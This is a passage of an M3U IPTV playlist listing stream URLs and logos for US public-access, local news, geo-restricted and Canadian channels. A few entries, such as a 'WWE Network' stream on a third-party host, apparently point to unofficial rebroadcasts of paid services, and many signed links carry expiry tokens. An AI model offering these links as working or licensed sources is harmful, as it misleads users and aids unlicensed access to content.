tvg-logo="https://i.imgur.com/7DwiHDb.png" group-title="USA",Vegas Stats https://api.new.livestream.com/accounts/22774234/events/6897936/live.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/VH1_logonew.svg/440px-VH1_logonew.svg.png" group-title="USA",VH1 http://content-ausc2.uplynk.com/channel/7a16e3d5ffd0413ba4d8ac89688ed7cd/e.m3u8?ct=c&ad.locationDesc=vh1_channel&ad.cust_params=_fw_ae%3D53da17a30bd0d3c946a41c86cb5873f1%26_vmn_ar%3Dtrue&expand=simulcast_standard&ad.kv=_fw_ae%2C53da17a30bd0d3c946a41c86cb5873f1%2C_vmn_ar%2Ctrue%2C_fw_vcid2%2C82125:vh1_67b04b0c30774b06ad1ec820ee7d0beb&delay=10800&euid=67b04b0c-3077-4b06-ad1e-c820ee7d0beb&exp=1531977295&rn=1284714433&ad.euid=67b04b0c-3077-4b06-ad1e-c820ee7d0beb&cid=7a16e3d5ffd0413ba4d8ac89688ed7cd&tc=1&sig=b3143cb0429574cc3c877de30e62fab7d66c763ec2f61cd9bfde33fdab12dfb7&pbs=62317bc417264eaeb05c22777b5c8697 #EXTINF:-1 tvg-logo="https://static1.squarespace.com/static/51a013dee4b0a2a2d2ef73e9/t/530a34ace4b0d1b000d31222/1393177774359/voa.png" group-title="USA",Voice of America (PST) http://voa-lh.akamaihd.net/i/voa_mpls_tvmc6@320298/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://static1.squarespace.com/static/51a013dee4b0a2a2d2ef73e9/t/530a34ace4b0d1b000d31222/1393177774359/voa.png" group-title="USA",Voice of America (EST) http://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/e/e2/WeatherNation_logo.png" group-title="USA",Weather Nation http://cdnapi.kaltura.com/p/931702/sp/93170200/playManifest/entryId/1_oorxcge2/format/applehttp/protocol/http/uiConfId/28428751/a.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/nFSaVJ2.png" group-title="USA",Westerns 4U https://nimble.dashmedia.tv/onestudio/western4u/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/uckThBl.png" group-title="USA",WSJ Live (VOD) http://wsjlivehls-lh.akamaihd.net/i/events1_1@174990/master.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/6/6b/WSVI_Logo.png" group-title="USA",WSVI-TV http://dcunilive30-lh.akamaihd.net/i/dclive_1@534251/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6chO5x2.png" group-title="USA",WWE Network http://cdnak19.cast4u.info/channels/4/10804.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8sQ5mfL.png" group-title="USA",WXYZ ABC 7 Detroit https://content-auso2.uplynk.com/channel/9c9e4e410b5a471391c116166d8c010e.m3u8?ad=live #EXTINF:-1 tvg-logo="https://i.imgur.com/8JAnpoj.png" group-title="USA",Xcorps TV http://vcnxcorps.teleosmedia.com/stream/xcorps/xcorps/seglist_720p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/3se2VEB.png" group-title="USA",Youtoo America https://imavex2.mmdlive.lldns.net/imavex2/46320b2319cf49d7bf68f70cc4a10c98/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/c3Z5i2L.png" group-title="USA",Z Living (Opt-1) https://y5w8j4a9.ssl.hwcdn.net/zlivingusa_r/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/c3Z5i2L.png" group-title="USA",Z Living (Opt-2) https://y5w8j4a9.ssl.hwcdn.net/zlivingusa_r_prod/tracks-v1a1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 53 Hawaii https://akaku.vod.castus.tv/live/ch1.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 54 Hawaii https://akaku.vod.castus.tv/live/ch2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8jjHm3a.png" group-title="USA PUBLIC",Akaku 55 Hawaii https://akaku.vod.castus.tv/live/ch3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ESQ1Fwz.png" group-title="USA PUBLIC",Arizona Capitol TV http://granicusliveus12-a.akamaihd.net/azleg/G0247_012/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LqGSdNg.png" group-title="USA PUBLIC",Beach TV CSULB http://stream04.amp.csulb.edu:1935/Beach_TV/smil:BeachTV.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RnOS2Ct.png" group-title="USA PUBLIC",Bowie TV http://granicusliveus3-a.akamaihd.net/cityofbowie/G0466_001/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/iAWNBq2.png" group-title="USA PUBLIC",Buffalo TV http://na-all15.secdn.net/pegstream3-live/play/c3e1e4c4-7f11-4a54-8b8f-c590a95b4ade/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Uhi2iae.png" group-title="USA PUBLIC",BUTV10 BU http://butv10-livestream.bu.edu/live/WIFI-2096k-1080p/WIFI-2096k-1080p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8w3N2k3.png" group-title="USA PUBLIC",Capital City Connection Montgomery http://na-us-se13.secdn.net/pegstream3-live/play/5f0d9ca5-4e85-4c01-a426-9ec8d44c2c9c/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/gs8x5ES.png" group-title="USA PUBLIC",CC-TV Charlotte County http://granicusliveus3-a.akamaihd.net/charlotte/G0055_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/DJG1KGR.png" group-title="USA PUBLIC",CCX Media Minnesota http://156.142.85.152/live/WIFI-2096k-1080p/WIFI-2096k-1080p.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1p2WF6I.png" group-title="USA PUBLIC",CGTV Champaign http://reflect-live-champaign.cablecast.tv/live/CELL-296k-234p/CELL-296k-234p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WrBz2L6.png" group-title="USA PUBLIC",Chandler Channel https://granicusliveus5-a.akamaihd.net/chandleraz/G0987_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network http://video.ct-n.com/live/ctnstream/chunklist_w1534354198_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Instant) http://video.ct-n.com/live/ctnspare/chunklist_w252238746_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Live Stream 1) http://video.ct-n.com/live/web1stream/chunklist_w1992415243_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UxEzPeX.png" group-title="USA PUBLIC",Connecticut Network (Live Stream 2) http://video.ct-n.com/live/web2stream/chunklist_w1202315245_DVR.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pY66Xjp.png" group-title="USA PUBLIC",DC Council Channel http://video.oct.dc.gov/out/u/15_12.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ck6VVWT.png" group-title="USA PUBLIC",District of Columbia Network http://video.oct.dc.gov/out/u/DCN.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/UnbstRH.png" group-title="USA PUBLIC",Escambia TV http://stream.swagit.com/live-edge/escambiacountyfl/live-1-a/chunklist_w1496843195.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pWsmV4z.png" group-title="USA PUBLIC",Fairfax Public Access http://cs.ebmcdn.net/eastbay-live-hs-1/fairfax-pull/_definst_/mp4:fairfax.stream/chunklist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/xkiZlyd.png" group-title="USA PUBLIC",Glendale 11 https://stream.swagit.com/live-edge/glendaleaz/smil:std-4x3-1-a/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/wHb9BLd.png" group-title="USA PUBLIC",Greensboro TV http://granicusliveus4-a.akamaihd.net/greensboro/G0197_003/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rfTBd6H.png" group-title="USA PUBLIC",House of Representatives http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:HouseChannel_all/chucklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/FXOQfqa.png" group-title="USA PUBLIC",KBVR TV OSU http://klive-a.akamaihd.net/dc-0/live/hls/p/391241/e/0_bthpnu1j/sd/10000/t/YwqLo1YivB_aumq-LxAuWg/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GJlPDSa.png" group-title="USA PUBLIC",LA36 http://granicusliveus6-a.akamaihd.net/la36/G0019_002/chunklist_w1442089063.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/REqqKQ9.png" group-title="USA PUBLIC",Lake Havasu City 4 https://granicusliveus3-a.akamaihd.net/lakehavasucity/G0643_002/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Government http://gov.leominster.tv/Gov/smil:Gov.smil/chunklist_w1957429215_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Educational http://edu.leominster.tv/Edu/smil:Edu.smil/chunklist_w43731873_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LzaXjsz.png" group-title="USA PUBLIC",Leominster TV Public http://gov.leominster.tv/Pub/smil:Pub.smil/chunklist_w2036537178_b1344100_sleng_t64NzIwcA==.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/N2sVD8V.png" group-title="USA PUBLIC",Lex TV http://granicusliveus2-a.akamaihd.net/lfucg/G0264_002/chunklist_w831870727.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/6C9dWLK.png" group-title="USA PUBLIC",LVTV-3 La Verne Community TV https://na-us-se13.secdn.net/pegstream3-live/play/d6af6526-5e48-4f8d-aa2c-ed1c270f20d0/chunklist_w2046155663.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 49 http://granicusliveus12-a.akamaihd.net/olelo/G0125_009/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 53 http://granicusliveus12-a.akamaihd.net/olelo/G0125_011/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 54 http://granicusliveus12-a.akamaihd.net/olelo/G0125_012/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Yf0MFYU.png" group-title="USA PUBLIC",Olelo Community Media 55 http://granicusliveus12-a.akamaihd.net/olelo/G0125_013/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/C8vBURi.png" group-title="USA PUBLIC",Orange Media Network http://klive-a.akamaihd.net/dc-0/live/hls/p/391241/e/0_bthpnu1j/sd/10000/t/YwqLo1YivB_aumq-LxAuWg/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/s3FQwRN.png" group-title="USA PUBLIC",Orange TV http://otv3.ocfl.net:1936/OrangeTV/smil:OrangeTV.smil/chunklist_w1007974604_b894100_sleng.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/otj9cSL.png" group-title="USA PUBLIC",PATV Great Neck http://47.23.7.30:8080/live/WIFI-1096k-360p/WIFI-1096k-360p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/80ihcjR.png" group-title="USA PUBLIC",RyeTV http://oflash.dfw.swagit.com/live/ryeny/smil:std-4x3-1-a/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/fB0jYOO.png" group-title="USA PUBLIC",St. Charles Parish TV http://66.210.225.230/live/CELL-496k-270p/CELL-496k-270p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WmFBaX6.png" group-title="USA PUBLIC",Southeastern Channel http://147.174.13.196/live/WIFI-1296k-540p/WIFI-1296k-540p.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Sb1nuei.png" group-title="USA PUBLIC",Tempe 11 http://granicusliveus1-a.akamaihd.net/tempe/G0355_003/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/tV8tVxQ.png" group-title="USA PUBLIC",Texas Student TV http://tstv-stream.tsm.utexas.edu/hls/livestream_hi/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OF24Hon.png" group-title="USA PUBLIC",Town of Vienna Community Network (Opt-1) https://granicusliveus2-a.akamaihd.net/vienna-va/G1359_002/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OF24Hon.png" group-title="USA PUBLIC",Town of Vienna Community Network (Opt-2) https://granicusliveus2-a.akamaihd.net/vienna-va/G1359_003/playlist.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SrRxU67.png" group-title="USA PUBLIC",TVW http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:TVWAIR_all/chucklist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/SrRxU67.png" group-title="USA PUBLIC",TVW-2 http://d3ktuc8v2sjk6m.cloudfront.net/livetv/ngrp:TVW2_all/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OTZxloq.png" group-title="USA PUBLIC",UALR TV http://na-all23.secdn.net/pegstream3-live/play/65ea794b-dd82-41ce-8e98-a9177289a063/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/77PehgD.png" group-title="USA PUBLIC",UWW-TV UW Whitewater http://vanadium.uww.edu:1935/uwwlive/smil:uwwtv.smil/chunklist_w2102626622_b300000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/cOx41cu.png" group-title="USA PUBLIC",WCCA TV Worcester http://worcester.vod.castus.tv/live/ch1.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/sxxRphV.png" group-title="USA PUBLIC",White Plains Community Media http://stream.swagit.com/live-edge/whiteplainsny/smil:std-4x3-1-b/chunklist_w1456643228_b512000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7yrCSu0.png" group-title="USA LOCAL",Augusta - Fox 54 News Now http://api.new.livestream.com/accounts/11328309/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/8/86/WBRZ_Logo_2013.png" group-title="USA LOCAL",Baton Rouge - WBRZ 2 Plus http://cms-wowza.lunabyte.io/wbrz-live-1/_definst_/smil:wbrz-live.smil/chunklist_b1300000.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5MfhbGP.png" group-title="USA LOCAL",Boston - 7News (Opt-1) https://bcsecurelivehls-i.akamaihd.net/hls/live/598046/4744899807001_1/livestream/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5MfhbGP.png" group-title="USA LOCAL",Boston - 7News (Opt-2) https://bcsecurelivehls-i.akamaihd.net/hls/live/598046/4744899807001_1/livestream/master_540-57.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VyddAhr.png" group-title="USA LOCAL",Boston - Fox News 25 (Opt-1) http://svc-lvanvato-cxtv-wfxt.cmgvideo.com/wfxt/2564k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/VyddAhr.png" group-title="USA LOCAL",Boston - Fox News 25 (Opt-2) http://api.new.livestream.com/accounts/22998687/events/6864865/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",The Bronx - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12BX #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Brooklyn - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12KN #EXTINF:-1 tvg-logo="https://i.imgur.com/AoCX1T1.png" group-title="USA LOCAL",Charlotte - WCNC Breaking News http://wcnc-lh.akamaihd.net/i/WCNC_Breaking_1@195112/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/g29f00A.png" group-title="USA LOCAL",Charlotte - WCCB News http://api.new.livestream.com/accounts/8522553/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/GSdRkIw.png" group-title="USA LOCAL",Chattanooga - ABC 9 News http://wxintribune-lh.akamaihd.net/i/WXINTribune_1@120151/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/KKyaN9l.png" group-title="USA LOCAL",Chicago - NBC 5 News http://wmaqlive-f.akamaihd.net/i/wmaqa1_1@22923/master.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/JmlSD7q.png" group-title="USA LOCAL",Chicago - WGN 9 News http://wgntribune-lh.akamaihd.net/i/WGNPrimary_1@304622/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eqjvgfo.png" group-title="USA LOCAL",Chico - Action News Now https://api.new.livestream.com/accounts/26511688/events/7954874/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqYJ4Dg.png" group-title="USA LOCAL",Cincinnati - Fox 19 News http://api.new.livestream.com/accounts/12136532/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/OMyZ9lC.png" group-title="USA LOCAL",Cleveland - Fox 8 News http://api.new.livestream.com/accounts/57501/events/1146195/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Connecticut - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12CT_WEST #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Connecticut - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_CT #EXTINF:-1 tvg-logo="https://i.imgur.com/KdwKEmV.png" group-title="USA LOCAL",Corpus Christi - KRIS News https://api.new.livestream.com/accounts/16030759/events/4495499/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AleGl4H.png" group-title="USA LOCAL",Dallas - Fox 4 News http://api.new.livestream.com/accounts/6395980/events/2598380/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqfOsIO.png" group-title="USA LOCAL",Dayton - WHIO 7 News (Opt-1) http://svc-lvanvato-cxtv-whio.cmgvideo.com/whio/2596k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AqfOsIO.png" group-title="USA LOCAL",Dayton - WHIO 7 News (Opt-2) http://svc-lvanvato-cxtv-whio.cmgvideo.com:80/whio/2596k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MZuZMNW.png" group-title="USA LOCAL",Des Moines - WHO 13 News https://api.new.livestream.com/accounts/9976600/events/3382760/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/RmNx8Vt.png" group-title="USA LOCAL",Grand Rapids - Fox 17 News http://api.new.livestream.com/accounts/9485505/events/3244983/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/3czIO1P.png" group-title="USA LOCAL",Hartford - WVIT 30 News http://wvitlive-f.akamaihd.net/i/wvitb2_1@71164/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ta1UHlg.png" group-title="USA LOCAL",Houston - Fox 26 News (Opt-1) http://api.new.livestream.com/accounts/6396012/events/live/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ta1UHlg.png" group-title="USA LOCAL",Houston - Fox 26 News (Opt-2) http://api.new.livestream.com/accounts/6396012/events/2598382/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Hudson Valley - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12HV #EXTINF:-1 tvg-logo="https://i.imgur.com/lAtiWkI.png" group-title="USA LOCAL",Indianapolis - CBS 4 News http://wttv-lh.akamaihd.net:80/i/WTTVBreaking_1@333494/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LW3Dfbt.png" group-title="USA LOCAL",Jacksonville - WJAX Action News (Opt-1) http://svc-lvanvato-cxtv-wjax.cmgvideo.com/wjax/2564k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/LW3Dfbt.png" group-title="USA LOCAL",Jacksonville - WJAX Action News (Opt-2) https://svc-lvanvato-cxtv-wjax.cmgvideo.com/wjax/564k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/QbkW7zY.png" group-title="USA LOCAL",Las Vegas - 13 Action News https://content.uplynk.com/channel/39919d3f7a074eefa8bf579214e952f9.m3u8?ad=live #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Long Island - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_LI #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Long Island - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12LI_WEST #EXTINF:-1 tvg-logo="https://i.imgur.com/qev72Gl.png" group-title="USA LOCAL",Los Angeles - CBS News https://dai.google.com/linear/hls/event/TxSbNMu4R5anKrjV02VOBg/master.m3u8?iu=/4128/CBS.LA.OTT #EXTINF:-1 tvg-logo="https://i.imgur.com/4dMBznz.png" group-title="USA LOCAL",Mississippi - WXXV News 25 http://api.new.livestream.com/accounts/22998687/events/6864865/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New Jersey - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12NJ_CENTRAL #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New Jersey - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_NJ #EXTINF:-1 tvg-logo="https://i.imgur.com/62ltnfY.png" group-title="USA LOCAL",New Orleans - Fox 8 News http://api.new.livestream.com/accounts/10891792/events/3578864/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/DVioDpu.png" group-title="USA LOCAL",New York - FiOS1 News https://cdnapisec.kaltura.com/p/424341/sp/42434100/playManifest/entryId/1_is35xshu/format/applehttp/protocol/https/uiConfId/39790741/a.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",New York - News 12 (Traffic) http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_NYC #EXTINF:-1 tvg-logo="https://i.imgur.com/s0WMDmi.png" group-title="USA LOCAL",New York - News 12+ http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12TW_WC #EXTINF:-1 tvg-logo="https://i.imgur.com/yc2j7MW.png" group-title="USA LOCAL",North Carolina - MyFox8 News http://api.new.livestream.com/accounts/9287016/events/3206504/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/TTrg1Rf.png" group-title="USA LOCAL",Omaha -3News Now http://content.uplynk.com/channel/328d1434fb51476cb6567c74d5b2cc70.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/G37a3NG.png" group-title="USA LOCAL",Oregon - Fox 12 News http://api.new.livestream.com/accounts/6908462/events/2706967/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/z5xw91r.png" group-title="USA LOCAL",Oregon - News Channel 21 http://api.new.livestream.com/accounts/19128364/events/5285531/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/05FdDhc.png" group-title="USA LOCAL",Palm Springs - News Channel 3 http://api.new.livestream.com/accounts/20847880/events/6053226/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/izKPQZo.png" group-title="USA LOCAL",Phoenix - Fox 10 News http://api.new.livestream.com/accounts/1859803/events/1648429/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EQPIi0J.png" group-title="USA LOCAL",Pittsburgh - WPXI 11 News http://svc-lvanvato-cxtv-wpxi.cmgvideo.com/wpxi/2564k/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/NLPTfgk.png" group-title="USA LOCAL",Sacramento - Fox 40 News http://api.new.livestream.com/accounts/9486720/events/3245377/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ddhH0VN.png" group-title="USA LOCAL",San Diego - Fox 5 News http://api.new.livestream.com/accounts/9263055/events/3189799/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/dIpu0v5.png" group-title="USA LOCAL",Seattle - KIRO 7 News http://svc-lvanvato-cxtv-kiro.cmgvideo.com/kiro/1864k/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/K4YSmkH.jpg" group-title="USA LOCAL",Seattle - KOMO 4 News https://content.uplynk.com/2c88dfe19e1447e6a6aa27e8e143a140.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7LJxC4I.png" group-title="USA LOCAL",Seattle - Q13 Fox News http://api.new.livestream.com/accounts/9486768/events/3245401/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qIeREW7.png" group-title="USA LOCAL",Toledo - WTOL 11 News http://api.new.livestream.com/accounts/12003465/events/3786544/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/t7HFTyE.png" group-title="USA LOCAL",Washington DC - CBS 9 News https://wusa-lh.akamaihd.net/i/WUSA_Breaking_1@98930/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qEx2bMU.png" group-title="USA LOCAL",Washington DC - NBC 4 News https://wrclive-f.akamaihd.net/i/wrcb1_1@46880/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/YO7qaMo.png" group-title="USA LOCAL",Westchester - News 12 http://hls.iptv.optimum.net/news12/nipadlive/index_new.m3u8?callsign=N12WH_WESTCHESTER #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/0/09/Charge%21_network_logo.png" group-title="USA GEO",Charge! (Geo) https://usgeowall.sinclairstoryline.com/channel/37eb732888614810b512fdd82604244e.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZIZZG8v.png" group-title="USA GEO",Comet TV (Geo) http://usgeowall.sinclairstoryline.com/channel/3e45c6b5354a40f787e0b2aadb0f5d6a.m3u8?tc=1&exp=1614631202&rn=2057716804&ct=c&cid=3e45c6b5354a40f787e0b2aadb0f5d6a&ad=comet&repl=aboi&ad.adUnit=%2FCOMET%2FLivestream_midroll&ad._debug=comet_vmap&ad.ad_rule=1&ad.pmad=12&ad.output=xml_vmap1&sig=b2edfb477155d2588a66e0aecdbebff5a23c90a96e55c831def9a1434a51913b #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/8/8f/KidsClickLogo.png" group-title="USA GEO",Kids Click (Geo) https://usgeowall.sinclairstoryline.com/channel/1698bf57810a48c486b83d542bca298d.m3u8?tc=1&exp=1614631202&rn=1698140798&ct=c&cid=1698bf57810a48c486b83d542bca298d&repl=aboi&sig=3c0463729cd2ddcb9509c3130849b8737dd917ccbaafaccb832d0ec43cae6db5 #EXTINF:-1 tvg-logo="https://i.imgur.com/Fb3iZnm.png" group-title="CANADA",Assemblee Nationale du Quebec http://diffusionm4.assnat.qc.ca/canal9/250.sdp/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eMMoLjS.png" group-title="CANADA",CPAC http://bcoveliveios-i.akamaihd.net/hls/live/248519/1242843915001_1/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/eMMoLjS.png" group-title="CANADA",CPAC Francais http://bcoveliveios-i.akamaihd.net/hls/live/248520/1242843915001_2/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/kdgMVOI.png" group-title="CANADA",Knowledge Network http://knstream1.azureedge.net/knlive/knlive_high.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/BUiwYlr.png" group-title="CANADA",Space (No Audio) http://pe-ak-lp01a-9c9media.akamaized.net/live/Space/p/hls/00000201/689924a518f2c776/index/2176f3ac/live/stream/h264/v1/3500000/manifest.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/C3LheXq.png" group-title="CANADA",Tele-Quebec https://teleqmmd.mmdlive.lldns.net/teleqmmd/f386e3b206814e1f8c8c1c71c0f8e748/chunklist_b2592000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i3lItFB.png" group-title="CANADA",The Shopping Channel http://tscstreaming-lh.akamaihd.net/i/TSCLiveStreaming_1@91031/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/CafPtAF.png" group-title="UK",24/7 Super Geek Heroes 